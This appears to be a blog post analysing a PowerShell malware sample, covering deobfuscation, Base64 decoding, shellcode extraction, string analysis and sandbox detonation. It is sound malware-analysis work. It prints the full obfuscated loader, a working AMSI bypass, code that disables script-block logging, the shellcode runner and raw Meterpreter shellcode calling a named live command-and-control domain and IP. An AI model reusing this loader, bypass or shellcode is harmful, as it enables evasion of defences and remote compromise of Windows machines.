Analyzing Wild PowerShell Malware (.ps1, shellcode)
Let’s kickstart this blog with some PowerShell malware! Pulled this sample fresh off MalwareBazaar - no idea what it is. Opening the .ps1
file in VSCode reveals beautifully obfuscated PowerShell code.
1. Deobfuscating The Sample
To begin the deobfuscation process, I formatted the document, which revealed branches in the code. Shown below is the first half of the malware.
$uEmp=((''+'{1'+'}cr'+'iptB{0}ockLoggi'+'{2}g')-f'l','S','n');
If($PSVersionTable.PSVersion.Major -ge 3) {
$l4mb=(('{0}na'+'{1'+'}leSc'+'ri{'+'2}t{5'+'}loc{4}{3}nvo'+'cati'+'onLogging')-f'E','b','p','I','k','B');
$cjcO=[Collections.Generic.Dictionary[string,System.Object]]::new();
$mkK=[Ref].Assembly.GetType(((''+'{6}'+'{5}'+'s'+'t'+'em.{'+'0}a{9}a'+'{1'+'}e'+'m'+'e{9}t.{8}{4'+'}'+'t{7'+'}m'+'a'+'ti{'+'7}{'+'9}.{8}msi{'+'3'+'}ti{2}'+'s')-f'M','g','l','U','u','y','S','o','A','n'));
$e3=(('En{1}ble'+'{2}crip{0}Bloc'+'k'+'{3}'+'o'+'gging')-f't','a','S','L');
if ($mkK) {
$mkK.GetField((('a'+'{1}s'+'i{3}{0'+'}i{2'+'}Fa'+'i{'+'4}e'+'d'+'')-f'n','m','t','I','l'),'NonPublic,Static').SetValue($null,$true);
};
$eH2u=[Ref].Assembly.GetType((('{5}ys'+'tem.Ma'+'na{2}ement'+'.{0}{'+'4}'+'tomation.{3}'+'t'+'i{1}s')-f'A','l','g','U','u','S'));
$p1k=$eH2u.GetField('cachedGroupPolicySettings','NonPublic,Static');
If ($p1k) {
$o5=$p1k.GetValue($null);
$cjcO.Add($l4mb,0);
$cjcO.Add($e3,0);
$o5['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$uEmp]=$cjcO;
If($o5[$uEmp]) {
$o5[$uEmp][$e3]=0;
$o5[$uEmp][$l4mb]=0;
}
} Else {
[Ref].Assembly.GetType((('S'+'{3}stem.{2}'+'an'+'a{4}emen'+'t.{1}ut'+'oma'+'tion.Sc{0}iptB'+'loc{5}'+'')-f'r','A','M','y','g','k')).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
}
};
The great thing about PowerShell obfuscation, is that the PowerShell Interpreter itself is your swiss-army knife. Take the following example - decoding the first line of the .ps1
malware.
PS C:\Users\root> $uEmp=((''+'{1'+'}cr'+'iptB{0}ockLoggi'+'{2}g')-f'l','S','n');
PS C:\Users\root> Write-Output $uEmp
ScriptBlockLogging
Performing the same decoding process for all obfuscated strings, it becomes much clearer what the malware is doing. What’s left obfuscated - the elephant in the room - is the glaring Base64
string near the end of the script.
If($PSVersionTable.PSVersion.Major -ge 3) {
$obj_dict=[Collections.Generic.Dictionary[string,System.Object]]::new();
$type_AmsiUtils=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils");
if ($type_AmsiUtils) {
$type_AmsiUtils.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true);
};
$type_Utils=[Ref].Assembly.GetType("System.Management.Automation.Utils");
$fieldinfo_cachedGroupPolicySettings=$type_Utils.GetField('cachedGroupPolicySettings','NonPublic,Static');
If ($fieldinfo_cachedGroupPolicySettings) {
$o5=$fieldinfo_cachedGroupPolicySettings.GetValue($null);
$obj_dict.Add("EnableScriptBlockInvocationLogging",0);
$obj_dict.Add("EnableScriptBlockLogging",0);
$o5['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+"ScriptBlockLogging"]=$obj_dict;
If($o5["ScriptBlockLogging"]) {
$o5["ScriptBlockLogging"]["EnableScriptBlockLogging"]=0;
$o5["ScriptBlockLogging"]["EnableScriptBlockInvocationLogging"]=0;
}
} Else {
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
}
};
If($PSVersionTable.PSVersion.Major -ge 3) {
$type_Utils2=[Ref].Assembly.GetType("System.Management.Automation.Utils");
$type_AmsiUtils2=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils");
if ($type_AmsiUtils2) {
$type_AmsiUtils2.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true);
};
$obj_dict2=[Collections.Generic.Dictionary[string,System.Object]]::new();
$fieldinfo_cachedGroupPolicySettings2=$type_Utils2.GetField('cachedGroupPolicySettings','NonPublic,Static');
If ($fieldinfo_cachedGroupPolicySettings2) {
$assK=$fieldinfo_cachedGroupPolicySettings2.GetValue($null);
$obj_dict2.Add("EnableScriptBlockInvocationLogging",0);
$obj_dict2.Add("EnableScriptBlockLogging",0);
$assK['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+"ScriptBlockLogging"]=$obj_dict2;
If($assK["ScriptBlockLogging"]){
$assK["ScriptBlockLogging"]["EnableScriptBlockLogging"]=0;
$assK["ScriptBlockLogging"]["EnableScriptBlockInvocationLogging"]=0;
}
} Else {
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
}
};
&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIANkz1WQCA7VXeW/iRhv/v1K/g1UhYbSEIwk0u1KljgEHUwwYXxxF1c'+'Qe2xPGx9rmStvv3mcMTrLdpNr3lXakCM/Mc83vOePtIiencSRs/YPw548/CJc1wykOBbGS3taFiuO589rLXeU0Wwi/COIaJUk/DjGNNp8+9XZpSqL8vG/ckxxlGQk{1}GCWZWBP+EuyApORq+vBInFz4'+'U6j80bhn8QNmF7JTDzsBEa5Q5PK7cexgblZDTxjNxervv1dr66v2pjH4v'+'MMsE6v6KctJ2HAZq9aEv2tcoXFKiFhVqZPGWezlDZtGN9cNM8qwRyYgbU9Ukgexm1XhLS+vSUm+S6PiUVzKmUas'+'wucsjR3kuinJsmpdWHP5683mV3F9UT7{1}RTkNSUOJcpLGiU7SPXVI1hjiyGVkTrwNcOl5SiN/U6sB2T7eErES7RirC/+LGHFCDiV038okvmYCql'+'me1urg0K+'+'{1}qcbujpEzY/UNOyEGarDKOADw/ub4eWXknNAbg{1}NyUK51cUPAXHEWZ7Rg/UVo1QUVNOM8Tk+wrRjpjtQ2z2ALlbhX/1ZZ7ZIR2PYrr+vB2dqKqbt5k{1}CF6yv730bjJad6P5L7xK'+'MR6Z8iHFKnDFbxLY8Qj5ECkUZJNgEbxerlgrh9woiPcw4yD4yv2AYhzZ95pR1lLkmRA17NwCpweO1LY85+E6tKpJIQ4DvvIVIrHqQIKakvaXEqt{1}M9EFV7DG'+'dZXZjtIEeduqATzIhbF1CU0csV2uVx8Vl9MV{1}dsZw6OMtLcZvav'+'/G86O3FUZanOwc8CxgYekIcihmHpC4MqUukk079Un/1TUB6mDFIHpC0B4{1}ACQdCz3m8pGAqxEatoZNcCRNGQqAoSobMsA8F4pIgRXhhn7jV9+wsM+Ec9hyZEpJXVoK7dRbndcGiaQ4ViKNchNj'+'/YcXXpedsTi8lF/eIZY6tpVPO06ByYIHGQ7wEqYAkzQEOOY1DCWeke3uuNOJPzQHtd2b9+AnBGshz'+'zZJ0vT/UTdtSaHvkW1s6NoMAvhX{1}MIYjHX240beJQm9GGtChtH8MPKRkymAonbS2hJwh/dkaSaYJ{1}LQ31h6PCnKl0F/4y95BmQULBRT1xr7iw6+kBI7UWrV8qSX3xroUDGgL+bo21G7bq4nqMKV5xyT6pCs6GtqFvm'+'c9g9vb4eJooIk6QoE8deX2tVzwbzn/ans/7g+KvcP32jIb0AHoGchLzQqIbSWSPZBXmpUo/oeDr1nj5q0cSHCu'+'0OM40Zuw2m1FdXND{1}+jcYLuTPIRWCzCydSUKdM{1}rGUMnlJpNy2xP'+'FEpkw962jodB63iyJsATd60oj'+'DisaNa0uuiOv/{1}6'+'YaHucH/+iJ+kg3PqPC4PEgZ5EshDH07cB2d+7HMZyYKumv{1}PMobF195dTJhDP8bGgOV22LnG7WCrRolpDJKZali5tnB'+'v3Ce3b9ir02QgD3C{1}deb2MZtvjxoespY5DDrzR/8w31oHxxpF0z6j8+uOZ9nyyWlLN1Nj3rGZ1Z0zOZv050MjcqeGbG2nctCdDNnebSeac98Zqmbcce5HeyLHiL/BbHNMC/uVHUKnz4pWGGzK8BbAq9s2d1PAC2jvsZ948HvEwUdshhSpB4T0ZeRj{1}y7ZZth1TUwCHiKo32ybgOvUX/Cd{1}v8RXhb7bth+God+a3mdHZyhulteq5OeD1h6TYXL5bHK/8A3o+OdkktB8HPzoy0{1}'+'hibVVU+ikgpYh935DLVvUanns{1}l0o8ndZcS9H1vc{1}HmywluQu4zmB6Jo3E9IQgWv/dvc6GglLzXOceAq1JMV6iagFyEe7cDbgXiAmhDR0pe6MhsoygK541FID66CnCnYttBtdbLEvrTieN2NbWrtm9ZPkOF'+'rk0b5z{1}WmgqX0jr{1}CH3+ohLbyKsv{1}a/Iq'+'TrMAM8h+aN9lIZbjVL605FlMOYco8qFuS9KIMJiEYFYqyxdiLHb4OAC9GwaR83jApxVTKUx666smPBPWXqaE8ujTpxWYCNWwqFSNMYn8PKi3jjetFrT41rF1W1S+b39ZL05O4llanU8JHJpn8awQDxKpJ4jid4'+'cLBsEcWtJ7gL2HHSjeQgOBhnYu6hxBKY7Za/zOz3oOhS/QA9ja8PI1HwGLIAEJV+SzUMn5kPR66KoQaUa23z'+'VyLt0pgB/3vyPn5ew/br8pmlr1Ap6vTr88eNXYv9/zbUx'+'zINShwzJyHvzeQuGSKq/8W3gGEsG7LP6/0HSXX01gui66/D/nwQkbgg0AAA{0}{0}')-f'=','f')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
Below is an explanation for the Registry Keys disabled in the PowerShell script.
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging
- When enabled, records all script blocks processed by the PowerShell Interpreter.HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockInvocationLogging
- When enabled, also records all script blocks processed by the PowerShell Interpreter whenInvoke()
,Invoke-Command
or similar commands are used to execute PowerShell code at runtime.
In addition, the script attempts a common AMSI (Antimalware Scan Interface)
bypass with the line $type_AmsiUtils.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true)
.
More commonly used to achieve the same result, is the single line [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true)
.
This technique has since been patched by Microsoft. But the bypass is trivial.
PS C:\Windows\system32> [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetF ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
As done in the malware - simple obfuscation bypasses the AMSI check perfectly, and disables AMSI from scanning the remainder of the script.
PS C:\Windows\system32> [Ref].Assembly.GetType(((''+'{6}'+'{5}'+'s'+'t'+'em.{'+'0}a{9}a'+'{1'+'}e'+'m'+'e{9}t.{8}{4'+'}'+'t{7'+'}m'+'a'+'ti{'+'7}{'+'9}.{8}msi{'+'3'+'}ti{2}'+'s')-f'M','g','l','U','u','y','S','o','A','n')).GetField((('a'+'{1}s'+'i{3}{0'+'}i{2'+'}Fa'+'i{'+'4}e'+'d'+'')-f'n','m','t','I','l'),'NonPublic,Static').SetValue($null,$true)
PS C:\Windows\system32>
2. Investigating Embedded Base64
Using the PowerShell Interpreter, again, to decode the Base64
string. This time - revealing more PowerShell code (It was at this point, Windows Defender started acting up). Immediately, there are interesting things to note.
- Incriminating Windows APIs -
GetProcAddress
,GetModuleHandle
,VirtualAlloc
,VirtualProtect
,CreateThread
,WaitForSingleObject
- Another
Base64
string. Probably shellcode, given the context.
Analysis of the code suggests an attempt to execute shellcode in the local process.
PS C:\Users\root> $plaintext = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIANkz1WQCA7VXeW/iRhv/v1K/g1UhYbSEIwk0u1KljgEHUwwYXxxF1c'+'Qe2xPGx9rmStvv3mcMTrLdpNr3lXakCM/Mc83vOePtIiencSRs/YPw548/CJc1wykOBbGS3taFiuO589rLXeU0Wwi/COIaJUk/DjGNNp8+9XZpSqL8vG/ckxxlGQk{1}GCWZWBP+EuyApORq+vBInFz4'+'U6j80bhn8QNmF7JTDzsBEa5Q5PK7cexgblZDTxjNxervv1dr66v2pjH4v'+'MMsE6v6KctJ2HAZq9aEv2tcoXFKiFhVqZPGWezlDZtGN9cNM8qwRyYgbU9Ukgexm1XhLS+vSUm+S6PiUVzKmUas'+'wucsjR3kuinJsmpdWHP5683mV3F9UT7{1}RTkNSUOJcpLGiU7SPXVI1hjiyGVkTrwNcOl5SiN/U6sB2T7eErES7RirC/+LGHFCDiV038okvmYCql'+'me1urg0K+'+'{1}qcbujpEzY/UNOyEGarDKOADw/ub4eWXknNAbg{1}NyUK51cUPAXHEWZ7Rg/UVo1QUVNOM8Tk+wrRjpjtQ2z2ALlbhX/1ZZ7ZIR2PYrr+vB2dqKqbt5k{1}CF6yv730bjJad6P5L7xK'+'MR6Z8iHFKnDFbxLY8Qj5ECkUZJNgEbxerlgrh9woiPcw4yD4yv2AYhzZ95pR1lLkmRA17NwCpweO1LY85+E6tKpJIQ4DvvIVIrHqQIKakvaXEqt{1}M9EFV7DG'+'dZXZjtIEeduqATzIhbF1CU0csV2uVx8Vl9MV{1}dsZw6OMtLcZvav'+'/G86O3FUZanOwc8CxgYekIcihmHpC4MqUukk079Un/1TUB6mDFIHpC0B4{1}ACQdCz3m8pGAqxEatoZNcCRNGQqAoSobMsA8F4pIgRXhhn7jV9+wsM+Ec9hyZEpJXVoK7dRbndcGiaQ4ViKNchNj'+'/YcXXpedsTi8lF/eIZY6tpVPO06ByYIHGQ7wEqYAkzQEOOY1DCWeke3uuNOJPzQHtd2b9+AnBGshz'+'zZJ0vT/UTdtSaHvkW1s6NoMAvhX{1}MIYjHX240beJQm9GGtChtH8MPKRkymAonbS2hJwh/dkaSaYJ{1}LQ31h6PCnKl0F/4y95BmQULBRT1xr7iw6+kBI7UWrV8qSX3xroUDGgL+bo21G7bq4nqMKV5xyT6pCs6GtqFvm'+'c9g9vb4eJooIk6QoE8deX2tVzwbzn/ans/7g+KvcP32jIb0AHoGchLzQqIbSWSPZBXmpUo/oeDr1nj5q0cSHCu'+'0OM40Zuw2m1FdXND{1}+jcYLuTPIRWCzCydSUKdM{1}rGUMnlJpNy2xP'+'FEpkw962jodB63iyJsATd60oj'+'DisaNa0uuiOv/{1}6'+'YaHucH/+iJ+kg3PqPC4PEgZ5EshDH07cB2d+7HMZyYKumv{1}PMobF195dTJhDP8bGgOV22LnG7WCrRolpDJKZali5tnB'+'v3Ce3b9ir02QgD3C{1}deb2MZtvjxoespY5DDrzR/8w31oHxxpF0z6j8+uOZ9nyyWlLN1Nj3rGZ1Z0zOZv050MjcqeGbG2nctCdDNnebSeac98Zqmbcce5HeyLHiL/BbHNMC/uVHUKnz4pWGGzK8BbAq9s2d1PAC2jvsZ948HvEwUdshhSpB4T0ZeRj{1}y7ZZth1TUwCHiKo32ybgOvUX/Cd{1}v8RXhb7bth+God+a3mdHZyhulteq5OeD1h6TYXL5bHK/8A3o+OdkktB8HPzoy0{1}'+'hibVVU+ikgpYh935DLVvUanns{1}l0o8ndZcS9H1vc{1}HmywluQu4zmB6Jo3E9IQgWv/dvc6GglLzXOceAq1JMV6iagFyEe7cDbgXiAmhDR0pe6MhsoygK541FID66CnCnYttBtdbLEvrTieN2NbWrtm9ZPkOF'+'rk0b5z{1}WmgqX0jr{1}CH3+ohLbyKsv{1}a/Iq'+'TrMAM8h+aN9lIZbjVL605FlMOYco8qFuS9KIMJiEYFYqyxdiLHb4OAC9GwaR83jApxVTKUx666smPBPWXqaE8ujTpxWYCNWwqFSNMYn8PKi3jjetFrT41rF1W1S+b39ZL05O4llanU8JHJpn8awQDxKpJ4jid4'+'cLBsEcWtJ7gL2HHSjeQgOBhnYu6hxBKY7Za/zOz3oOhS/QA9ja8PI1HwGLIAEJV+SzUMn5kPR66KoQaUa23z'+'VyLt0pgB/3vyPn5ew/br8pmlr1Ap6vTr88eNXYv9/zbUx'+'zINShwzJyHvzeQuGSKq/8W3gGEsG7LP6/0HSXX01gui66/D/nwQkbgg0AAA{0}{0}')-f'=','f')))),[System.IO.Compression.CompressionMode]::Decompress));
Write-Output `n $plaintext.ReadToEnd();
function kgw {
Param ($r4, $cfdR)
$yPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $yPX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($yPX.GetMethod('GetModuleHandle')).Invoke($null, @($r4)))), $cfdR))
}
function yA {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $oC,
[Parameter(Position = 1)] [Type] $vZf6f = [Void]
)
$vKJLY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$vKJLY.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $oC).SetImplementationFlags('Runtime, Managed')
$vKJLY.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $vZf6f, $oC).SetImplementationFlags('Runtime, Managed')
return $vKJLY.CreateType()
}
[Byte[]]$wlhQn = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A8AAAB2bXMuaDRjazBwcy5jYwBaSInBScfA+yAAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6HAAAAAvdXNlci9oTEltWm52a1hkMnpUTEpPMTVtQXd3dzdDTWZyNEFEaDl5RWxsRkxQaHl0UHh5RjgwRkVwcVJnODliR25fVWFyc1B3OTR5WlV6RlFsNDRHTndOTFVkOFh6NHlvd1pQcG5HMUo5cGJveFoASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwOgXAAAASG9zdDogdm1zLmg0Y2swcHMuY2MNCgBaSf/ISInxTTHJTTHJU1NJx8ItBhh7/9WFwHUiSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QF6Yn////oVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V")
[Uint32]$aBr8 = 0
$mWI = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll VirtualAlloc), (yA @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wlhQn.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($wlhQn, 0, $mWI, $wlhQn.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll VirtualProtect), (yA @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($mWI, [Uint32]$wlhQn.Length, 0x10, [Ref]$aBr8)) -eq $true) {
$eBPek = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll CreateThread), (yA @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$mWI,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll WaitForSingleObject), (yA @([IntPtr], [Int32]))).Invoke($eBPek,0xffffffff) | Out-Null
}
3. Shellcode Analysis
To begin analysis, I (politely) asked ChatGPT write me a Python
script to decode the Base64
shellcode and output it to a file.
C:\Users\root\Desktop>py .\b64parser.py "/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZNMclI/8lBizSISAH WSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A8AAAB2bXMuaDRjazBwcy5jYwBaSInBScf A+yAAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6HAAAAAvdXNlci9oTEltWm52a1hkMnpUTEpPMTVtQXd3dzdDTWZyNEFEaDl5RWxsRkxQaHl0UHh5RjgwRkVwcVJnODliR25fVWFyc1B3OTR5WlV6RlFsNDRHTndOTFVkOFh6NHlvd1pQcG5HMUo5cGJveFoASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScf C61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwOgXAAAASG9zdDogdm1zLmg0Y2swcHMuY2MNCgBaSf/ISInxTTHJTTHJU1NJx8ItBhh7/9WFwHUiSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QF6Yn////oVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1Ui TU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V" shellcode.sc
Decoded content saved to shellcode.sc
Then, converted the shellcode to an .exe
with shellcode2exe.bat.
C:\Users\root\Desktop\shellcode2exe-master>shellcode2exe.bat 32 shellcode.sc shellcode.exe
Volume in drive C has no label.
Volume Serial Number is F231-6089
Directory of C:\Users\root\Desktop\shellcode2exe-master
08/22/2023 12:59 PM 1,536 shellcode.exe
1 File(s) 1,536 bytes
0 Dir(s) 53,296,910,336 bytes free
3.1. Static Analysis
Extracting strings within the shellcode with the command floss shellcode.exe
reveals critical information to this investigation.
- Could
vms.h4ck0ps.cc
be a malicious domain? - Could
wininet
APIs be used to communicate with said malicious domain? /user/hLImZnvkXd2zTLJO15mAwww7CMfr4ADh9yEllFLPhytPxyF80FEpqRg89bGn_UarsPw94yZUzFQl44GNwNLUd8Xz4yowZPpnG1J9pboxZ
(Not sure what this is yet).
The string GoLink www.GoDevTool.com
was generated from the shell2exe conversion.
----------------------------
| FLOSS ASCII STRINGS (17) |
----------------------------
Win32 Program!
GoLink www.GoDevTool.com
AQAPRH1
R`VH
R M1
rPH1
RAQH
AXAX^YZAXAYAZH
XAYZH
wininet
SZM1
vms.h4ck0ps.cc
/user/hLImZnvkXd2zTLJO15mAwww7CMfr4ADh9yEllFLPhytPxyF80FEpqRg89bGn_UarsPw94yZUzFQl44GNwNLUd8Xz4yowZPpnG1J9pboxZ
SZAXM1
PSSI
Host: vms.h4ck0ps.cc
SYj@ZI
Suspicious domain is alive (at time of writing).
C:\Users\root>ping vms.h4ck0ps.cc
Pinging vms.h4ck0ps.cc [103.145.13.69] with 32 bytes of data:
Reply from 103.145.13.69: bytes=32 time=285ms TTL=49
Reply from 103.145.13.69: bytes=32 time=284ms TTL=49
Reply from 103.145.13.69: bytes=32 time=285ms TTL=49
Reply from 103.145.13.69: bytes=32 time=284ms TTL=49
3.2. Dynamic Analysis
To facilitate some basic dynamic analysis, I
- Ensured the VMWare box was not connected to the internet.
- Pointed the
DNS
of the FlareVM Sandbox to localhost127.0.0.1
. - Launched
Wireshark
andProcess Hacker
. - And finally detonated
shellcode.exe
.
But nothing happened…
Attempted another detonation. But instead, with the malware’s wrapperPowerShell
script.
Success! The DNS queries for vms.h4ck0ps.cc
flooded in.
Anyway, I threw shellcode.exe
into VirusTotal. And sure enough, it was just a meterpreter shell. Nothing special.
In an attempt to interact with the meterpreter shell. I added a static DNS entry into FlareVM at C:\Windows\System32\drivers\etc\hosts
. The IP 10.0.0.128
points to a locally running Kali Linux.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
10.0.0.128 vms.h4ck0ps.cc
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
However, there were issues establishing the meterpreter session. In which I suspect differing Metasploit versions were the culprit. (msf6
on Kali Linux). Regardless, it’s just a meterpreter shell, and suggests no further investigation.
┌──(kali㉿kali)-[~]
└─$ msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.128
lhost => 10.0.0.128
msf6 exploit(multi/handler) > set lport 8443
lport => 8443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.128:8443
[*] Sending stage (175174 bytes) to 10.0.0.129
[*] Sending stage (175174 bytes) to 10.0.0.129
[-] Meterpreter session 1 is not valid and will be closed
[*] - Meterpreter session 1 closed.
[*] Sending stage (175174 bytes) to 10.0.0.129
[-] Meterpreter session 2 is not valid and will be closed
[*] - Meterpreter session 2 closed.
[-] Meterpreter session 3 is not valid and will be closed
[*] - Meterpreter session 3 closed.